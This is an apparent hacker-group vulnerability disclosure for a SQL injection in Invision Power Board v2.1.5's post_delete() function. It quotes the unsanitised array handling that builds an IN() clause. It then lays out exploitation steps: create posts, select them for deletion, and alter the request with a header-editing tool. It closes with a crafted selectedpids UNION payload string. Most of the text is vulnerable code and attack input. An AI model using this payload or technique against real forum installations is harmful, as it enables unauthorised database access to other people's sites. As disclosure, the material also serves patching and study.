Invision Power Board v2.1.5 Remote SQL Injection
Filename :- func_mod.php Functionname :- post_delete() Lines :- 89 To 209 Bug Found By :- Devil-00 Greetz :- Rock Master ^ Hackers Pal ^ n0m4rcy ^ www.securtygurus.net [Code] if ( is_array( $id ) ) { if ( count($id) > 0 ) { $pid = " IN(".implode(",",$id).")"; } else { return FALSE; } } else { if ( intval($id) ) { $pid = "=$id"; } else { return FALSE; } } [/CODE] When $id = array .. the code don't check it if ( INTVAL ) [CODE] if ( count($id) > 0 ) { $pid = " IN(".implode(",",$id).")"; } [/CODE] Then We Can Do SQL Injection Here >> [CODE] $this->ipsclass->DB->simple_construct( array( 'select' => 'pid, topic_id', 'from' => 'posts', 'where' => 'pid'.$pid ) ); [/CODE] And Here >> [CODE] $this->ipsclass->DB->simple_construct( array( 'select' => '*', 'from' => 'attachments', 'where' => "attach_pid".$pid ) ); [/CODE] Cuz We Have 2 Querys With diffiernt Tabels Number We Can't Use UNION To Exploit :( Baaad :( Exm. To Exploit 1- First Add 2 Post 2- Check It To Delete 3- Edit String Query By HTTPLiveHeader [CODE] act=mod&auth_key=2b71da21cbacba35ccf6fc04fe807d9a&st=0&selectedpids=-1) UNION SELECT 1,3/*&tact=delete [/CODE]